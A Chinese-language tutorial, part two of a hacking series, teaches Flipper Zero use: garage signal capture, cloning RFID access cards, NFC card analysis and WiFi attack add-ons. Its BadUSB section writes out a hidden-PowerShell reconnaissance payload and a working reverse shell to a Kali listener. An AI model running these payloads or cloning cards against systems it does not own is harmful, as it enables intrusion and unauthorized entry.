黑客之路:五部曲系列
第一部分:入门 → 第二部分:Flipper Zero精通 → 第三部分:Kali基础 → 第四部分:漏洞利用 → 第五部分:完整审计
在第一部分中,你迈出了第一步。你克隆了一些红外遥控器,扫描了NFC卡,看到sub-GHz频谱亮了起来,还用BadUSB打出了"Hello World"。你看到了安全往往只是一种幻觉。
现在我们深入探索。读完这篇文章,你将理解Flipper Zero能够交互的每一个主要协议。不只是如何使用它们,还有为什么它们是这样工作的,以及这对安全意味着什么。
提前警告:你会发现,有好几样你以为是安全的东西……其实并不安全。
Flipper的哲学
在进入协议之前,让我们建立正确的思维方式。Flipper Zero不是好莱坞意义上的"黑客设备"。它是一个学习工具,让你能够与通常不可见的无线电频率和硬件协议进行交互。
把它想象成无线信号的放大镜。信号一直都在那里。你只是看不到而已。现在你能看到了。
这个区别很重要,因为它改变了你对待安全的方式。大多数"安全"依赖于隐蔽性,即假设攻击者不知道如何与系统交互。你的Flipper消除了这种隐蔽性。它精确地展示了什么在被发送和接收。一旦你能看到,你就能评估实际的安全是否存在。
剧透:通常情况下,实际的安全并不存在。
⚠️ 提醒:只测试自己的设备
本文中的一切内容都是用于测试你自己的设备、卡片和系统。这些技术对任何人的设备都有效,这正是关键。但在不属于你的系统上使用它们是违法的。测试你自己的安全。发现你自己的漏洞。这才是正道。
Sub-GHz:看不见的频谱
亚千兆赫兹无线电频率无处不在。你的车库门、汽车钥匙遥控器、气象站、无线门铃、胎压传感器、智能家居设备,它们都在1 GHz以下的频段不断发射信号。
为什么是sub-GHz?较低的频率比WiFi(2.4/5 GHz)等较高频率传播更远、穿墙能力更强。这使它们非常适合需要在没有视线要求的情况下进行远距离可靠通信的设备。
频率全景
不同地区由于法规差异使用不同的频率:
- 315 MHz: 北美。老式车库门、汽车钥匙遥控器
- 390 MHz: 北美。车库门、部分汽车系统
- 433.92 MHz: 全球通用。气象站、传感器、欧洲设备、许多IoT产品
- 868 MHz: 欧洲。智能家居、LoRa、公用事业计量表
- 915 MHz: 美洲。LoRa、智能家居、工业设备
使用Momentum固件,你的Flipper可以在所有这些频段上发送和接收,不受你所在物理位置的限制。原版固件会将你限制在你所在地区的合法频率。这对学习很重要,因为你可能有在"外国"频率上运行的设备。
项目:分析你的车库门
时间: 15分钟
你将学到: 静态码和滚动码之间的区别,以及为什么这很重要
步骤:
- 导航到 Sub-GHz → Read
- 站在车库附近(不要太近以至于门会打开)
- 按下车库门遥控器按钮
- 观察Flipper捕获信号
- 检查捕获到的内容,查看识别出的协议
你可能会看到:
- Princeton, Linear, Chamberlain(旧型): 静态码。每次传输相同的代码。容易受到重放攻击。
- KeeLoq, Security+ 2.0, Rolling Code: 滚动码。每次传输使用同步序列中的不同代码。无法简单重放。
现实: 如果你的车库门使用静态码(2015年之前安装的许多都是如此),任何捕获过一次该信号的人都可以永远重放它。你的车库靠的是没人在监听这个假设来保护的。这个假设刚刚被打破了。
滚动码详解
现代车库门和汽车钥匙遥控器使用滚动码(也叫跳码)。工作原理如下:
- 发射器(你的遥控器)和接收器(你的车库)共享一个秘密种子和算法
- 每次按下按钮都会生成同步序列中的下一个代码
- 接收器接受当前代码或接下来约256个代码中的任何一个(以处理超出范围的按键操作)
- 一旦代码被使用,就永久作废
这意味着捕获并重放滚动码信号不会起作用。等你重放时,代码已经作废了。
为什么这很重要
滚动码的发明是因为sub-GHz世界发现通过隐蔽性实现安全是行不通的。有人想出了如何捕获和重放信号,所以行业不得不实施真正的密码学安全。这个模式在我们将要讨论的每个协议中都会重复:安全只有在有人展示了漏洞之后才会被加入。
项目:捕获气象站数据
时间: 10分钟
你将学到: 有多少数据在没有任何保护的情况下被广播
步骤:
- 导航到 Sub-GHz → Read
- 在任何无线气象传感器(室外温度计、雨量计等)附近等待
- 大多数每30-60秒传输一次
- 捕获传输
- 查看协议和解码后的数据
你会发现: 温度、湿度、电池状态、传感器ID。全部以明文传输。没有加密,没有认证。调谐到该频率的任何接收器都能获取所有数据。现在想想你的邻居中还有什么在广播……
RFID:125kHz的世界
低频RFID(125kHz)是较旧、较简单的近距离卡技术。你会在健身房会员卡、老式办公楼门禁卡、停车场和公寓门禁系统中找到它。
而它的安全性几乎普遍糟糕。
125kHz RFID的工作原理
这些卡是被动式的,没有电池。当你把卡放在读卡器附近时,读卡器的电磁场为卡供电,卡传输它的ID号。仅此而已。没有挑战-响应。没有加密。只是:"我是卡号12345。"
读卡器说"好的",仅凭知道这个ID号就授予访问权限。
你看到问题了。
常见的125kHz卡类型
- EM4100: 极其常见。只广播40位ID。零安全性。
- HID Prox: 最常见的企业门禁卡。广播设施代码+卡号。零安全性。
- Indala: 不太常见。编码不同但问题相同,没有安全性。
- AWID: 另一个变体。相同的根本弱点。
注意到规律了吗?所有这些卡只是广播一个ID。"安全性"在于需要专用设备才能读取这个ID。你的Flipper就是那个设备。
项目:克隆你的健身卡
时间: 5分钟
你需要: 你的健身房/游泳池/公寓125kHz卡,T5577空白卡(每张1-2美元)
步骤:
- 导航到 125 kHz RFID → Read
- 将你的卡贴在Flipper的背面(RFID天线所在位置)
- 等待读取成功。记下卡类型和ID
- 用一个容易识别的名字保存卡
- 测试模拟:Saved → Select Card → Emulate
- 将Flipper对准健身房的读卡器。应该和你的卡一模一样地工作
写入T5577空白卡:
- 进入你保存的卡
- 选择 Write
- 将T5577空白卡贴在Flipper上
- 等待写入确认
- 你现在有了一个物理克隆
为什么这很重要: 那个门禁系统的整个安全模型刚刚崩塌了。任何能接近你的卡两秒钟的人都能克隆它。下次你在健身房更衣室里放下包的时候,想想这一点。
T5577:你的魔法卡
T5577是一种可重写的RFID卡,可以模拟大多数125kHz卡类型。它就像门禁卡的空白CD-R。你可以把任何卡数据写进去,它就变成那张卡。
买一包10张用来测试。它们便宜而且非常有用,能帮你理解整个技术有多脆弱。你可以写入一张卡的数据,测试,然后写入不同的卡数据。全部在同一张物理卡上。
这揭示了什么
125kHz RFID的"安全"纯粹是演戏。这些系统假设你无法读取卡、无法复制数据、无法将数据写入另一张卡。这三个假设在消费级设备面前全部不成立。如果你的工作单位使用HID Prox卡(最常见的企业门禁卡),任何拥有Flipper的员工都可以克隆任何其他员工的门禁权限。好好想想这意味着什么。
关键要点
125kHz RFID的安全纯粹是演戏。这些系统假设你无法读取、复制或重写卡数据。这三个假设在售价不到200美元的消费级设备面前全部不成立。
NFC:13.56MHz的世界
高频NFC(13.56 MHz)是更新的一代。它支撑着非接触式支付、现代门禁卡、公交系统、酒店钥匙和你手机的碰一碰支付。
好消息:一些NFC卡确实有真正的安全性。
坏消息:很多没有。
NFC卡类型
- MIFARE Classic: 在门禁卡、公交、酒店中极其常见。使用多年前就被破解的专有加密。易受攻击。
- MIFARE Ultralight: 安全性极低的简单卡。常用于一次性交通票。
- NTAG: 在自动化NFC标签中常见。通常安全性极低。
- MIFARE DESFire: 真正安全。使用AES加密。用于较新的高安全性部署。
- EMV(支付卡): 你的信用卡。拥有强加密、交易限额和欺诈检测。
项目:分析你的工作卡
时间: 10分钟
你将学到: 你的工作场所是有真正的安全性还是安全剧场
步骤:
- 导航到 NFC → Read
- 将你的工作卡贴在Flipper的背面
- 等待读取完成
- 检查Flipper告诉你的内容
解读结果:
- MIFARE Classic 1K/4K: 你的卡使用的是已被破解的加密。有时间和合适的工具就能克隆。
- MIFARE Ultralight: 极低安全性。通常可克隆。
- MIFARE DESFire: 真正安全。你会看到有限的数据。
- Unknown/Locked: 可能是专有的也可能是DESFire。需要进一步调查。
面对现实: 大多数企业工卡仍然是MIFARE Classic。加密在2008年就被公开破解了。十八年前。如果你的工卡显示MIFARE Classic,你的雇主正在运行一个密码学家认为可笑至极的安全系统。
UID克隆 vs 完整克隆
重要区别:Flipper始终可以读取和模拟卡的UID(唯一标识符),也就是序列号。一些门禁系统只检查UID。对于这些系统,简单的模拟就能工作。
更好的系统会同时检查UID和存储在卡上的加密数据。对于这些,你需要同时克隆加密扇区。对于MIFARE Classic这是可能的(加密已被破解),但对于DESFire则不可能。
项目:酒店钥匙卡分析
时间: 5分钟(下次住酒店的时候)
你将学到: 酒店安全到底是怎么运作的
步骤:
- 用NFC → Read读取你的酒店钥匙卡
- 注意卡的类型
- 查看哪些数据可读
你通常会发现: 大多数酒店钥匙是MIFARE Ultralight或Classic。有些在可读扇区中显示房间号、退房日期或其他元数据。"安全性"在于住客通常没有NFC读卡器。你现在有了。
NFC魔法卡
就像125kHz的T5577一样,13.56MHz也有"魔法"NFC卡:
- Gen1(UID可更改): 可以写入自定义UID。会被一些读卡器检测为"魔法卡"。
- Gen2(CUID): 更好的兼容性。UID更改在断电后仍然保留。
- Gen3(UFUID): 写入后可以锁定UID。看起来像普通卡。
- Gen4(Ultimate Magic): 最灵活。可以模拟多种卡类型。
学习用途的话,Gen2卡是最佳选择。便宜、兼容性广泛,对大多数测试来说足够了。
红外线:完全控制
你已经在第一部分中创建了IR遥控器。现在让我们深入一些。
构建终极遥控器库
Flipper可以存储无限数量的IR遥控器。但逐个学习每个按钮很繁琐。更好的方法:使用社区数据库。
Momentum固件包含IRDB,一个庞大的预先捕获的遥控器数据库。你还可以从GitHub仓库下载遥控器数据,添加到Flipper的SD卡中。
项目:构建你的IR武器库
时间: 20分钟
步骤:
- 在Flipper上:Infrared → Universal Remotes
- 你会找到预先构建的电视、空调、投影仪等的万能遥控器
- 在你的设备上测试它们
- 对于未覆盖的设备,使用Learn New Remote
- 按房间或设备类型整理保存的遥控器
高级技巧: 创建"房间遥控器",将单个空间中的所有IR设备组合在一起。一个文件控制电视、音响条、灯光和空调。
你将学到: IR是通用的且未受保护。任何有IR接收器的设备都可以被任何有IR发射器的设备控制。这是故意的。IR是为便利性设计的,不是为安全性。你的Flipper只是让这种便利性变得通用了。
Raw IR捕获
一些设备使用非标准IR协议。对于这些设备,Flipper可以捕获raw信号(开/关脉冲的精确时序)并完美重放。
当标准学习功能无法识别信号时,导航到 Infrared → Learn New → Raw。
BadUSB:Rubber Ducky替代方案
在第一部分中,你让Flipper打出了"Hello World"。现在来真格的了。
BadUSB(也称为USB Rubber Ducky攻击)利用了计算机处理USB设备方式的一个根本性缺陷:它们无条件信任键盘。当你插入一个声称是键盘的设备时,计算机会毫无疑问地接受每一次按键。
你的Flipper每秒可以打约1,000个字符。比任何人都快。快到可以在任何人反应过来之前执行复杂的攻击。
DuckyScript基础
BadUSB载荷使用DuckyScript,一种简单的脚本语言。关键命令:
REM This is a comment
DELAY 1000
STRING Hello World
ENTER
GUI r
ALT F4
CTRL c
TAB
DOWNARROW
ESCAPE项目:系统信息收集器
时间: 15分钟
功能: 打开PowerShell,收集系统信息,保存到文件(在你的机器上)
REM System Info Grabber - Run on YOUR machine only
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $info = @{
ENTER
STRING Hostname = $env:COMPUTERNAME
ENTER
STRING Username = $env:USERNAME
ENTER
STRING Domain = $env:USERDOMAIN
ENTER
STRING IP = (Get-NetIPAddress -AddressFamily IPv4).IPAddress
ENTER
STRING OS = (Get-WmiObject Win32_OperatingSystem).Caption
ENTER
STRING }
ENTER
STRING $info | ConvertTo-Json | Out-File "$env:USERPROFILE\Desktop\sysinfo.json"
ENTER
STRING exit
ENTER你将学到: 不到3秒的物理接触,攻击者就能收集主机名、用户名、域名、IP地址和操作系统版本。这是侦察。想象一下那3秒还能打出什么别的。
项目:反向Shell设置
时间: 30分钟(包括Kali设置)
功能: 创建回连到你的Kali机器的连接(为第三部分做准备)
前提条件: Kali Linux正在运行(虚拟机也可以),知道你的Kali IP地址
在Kali上启动监听器:
nc -lvnp 4444
BadUSB载荷(Windows目标):
REM Reverse Shell - Replace KALI_IP with your Kali's IP
DELAY 1000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('KALI_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
ENTER会发生什么: 目标机器打开一个PowerShell连接回到你的Kali。你现在拥有该机器的命令行访问权限。这就是物理接触 + BadUSB = 完全入侵的核心。我们会在第三部分进一步探讨。
⚠️ 这些载荷是真实的
上面的反向Shell载荷确实能工作。只能在你自己拥有的机器上用于测试。在别人的机器上运行属于联邦犯罪(未经授权访问 + 安装后门)。目的是理解威胁,而不是制造威胁。
用于演示的趣味载荷
向别人演示BadUSB时(在他们许可的情况下使用他们的机器),这里有一些无害但令人印象深刻的载荷:
REM Rick Roll - Opens YouTube
DELAY 1000
GUI r
DELAY 500
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
ENTERREM Fake Windows Update - Fullscreen prank page
DELAY 1000
GUI r
DELAY 500
STRING https://fakeupdate.net/win10ue/
ENTER
DELAY 2000
F11REM Flip Screen Upside Down (Windows)
DELAY 1000
CTRL ALT DOWNARROWGPIO:硬件扩展
Flipper的GPIO(通用输入/输出)引脚让你可以连接外部模块来扩展功能。在这里,Flipper从手持工具变身为开发平台。
必备模块
- WiFi Dev Board: 添加WiFi功能:数据包捕获、deauth测试、Evil Twin攻击。从第三部分起必不可少。
- CC1101外接天线: 大幅扩展Sub-GHz范围。内置天线可以用,但外接的更适合认真的工作。
- ESP32 Marauder: 将Flipper变成WiFi/蓝牙黑客平台。捕获握手包,执行攻击。
- ProtoBoard: 用于自定义项目和连接你自己的硬件。
项目:WiFi Dev Board设置
时间: 20分钟
你需要: WiFi Dev Board(官方或兼容的ESP32)
步骤:
- 将Marauder固件刷入ESP32(说明在github.com/justcallmekoko/ESP32Marauder)
- 连接到Flipper的GPIO引脚
- 导航到 GPIO → ESP32 → Marauder
- 你现在有了WiFi扫描、deauth和数据包捕获功能
为什么这很重要: Flipper本身无法做WiFi,它缺少合适的无线电硬件。但有了dev board,你可以扫描网络、捕获WPA握手包、执行WiFi攻击。我们会在第三和第四部分大量使用它。
Momentum高级功能
如果你在运行Momentum固件(应该运行),这里有一些值得探索的功能:
- 桌面动画: 纯粹是装饰性的,但很有趣。看看社区动画包。
- 扩展协议: Momentum添加了原版固件未包含的协议支持。
- 应用中心: 原版之外的额外应用。游戏、工具、专用实用程序。
- 自定义资源包: 完全改变外观和体验。
真正的价值在于解锁的频率和扩展的协议支持。原版固件为了法律/法规合规而故意做了限制。Momentum假设你是一个理解规则的成年人。
你已经掌握了什么
你现在理解了:
- Sub-GHz: 车库门、汽车钥匙遥控器和传感器如何通信,以及为什么滚动码很重要
- 125kHz RFID: 为什么健身卡和旧门禁卡可以轻易被克隆
- 13.56MHz NFC: 已被破解的加密(MIFARE Classic)和真正安全(DESFire)之间的区别
- 红外线: 如何构建万能遥控器库和捕获raw信号
- BadUSB: 为什么USB HID信任是一个根本性漏洞,以及如何利用它
- GPIO: 如何扩展到WiFi、扩展范围和自定义硬件
你的Flipper现在是一件武器。但和Kali Linux比起来,它只是一把螺丝刀,而Kali是一整个工作坊。是时候启动真正的黑客环境了。
黑客之路
一个带你从好奇到能干的五部曲系列。
第一部分:入门 第二部分:Flipper Zero精通 ✓ 第三部分:Kali基础 第四部分:漏洞利用 第五部分:完整审计
第二部分清单
☐ Sub-GHz: 车库门已分析,理解了滚动码与静态码的区别
☐ 125kHz RFID: 卡已读取,至少一个克隆已测试
☐ NFC: 工作卡已分析,卡类型已识别
☐ 红外线: 完整的家用遥控器库已构建
☐ BadUSB: 系统信息载荷已测试,反向Shell已理解
☐ GPIO: WiFi dev board已为第三部分做好准备
☐ 魔法卡: 已购买T5577和/或NFC魔法卡用于测试
下一步
在第三部分中,我们将离开Flipper的专注领域,进入完整的渗透测试环境:Kali Linux。
你将学到:
- 搭建你的黑客实验室(虚拟机安装和配置)
- 使用nmap进行网络侦察:映射你网络上的每一个设备
- 无线侦察:使用aircrack-ng捕获WiFi握手包
- Web侦察:发现你的路由器暴露了什么
- 将Flipper的捕获数据连接到Kali工作流程
Flipper向你展示了漏洞的存在。Kali帮助你准确理解它们有多深。
第三部分见。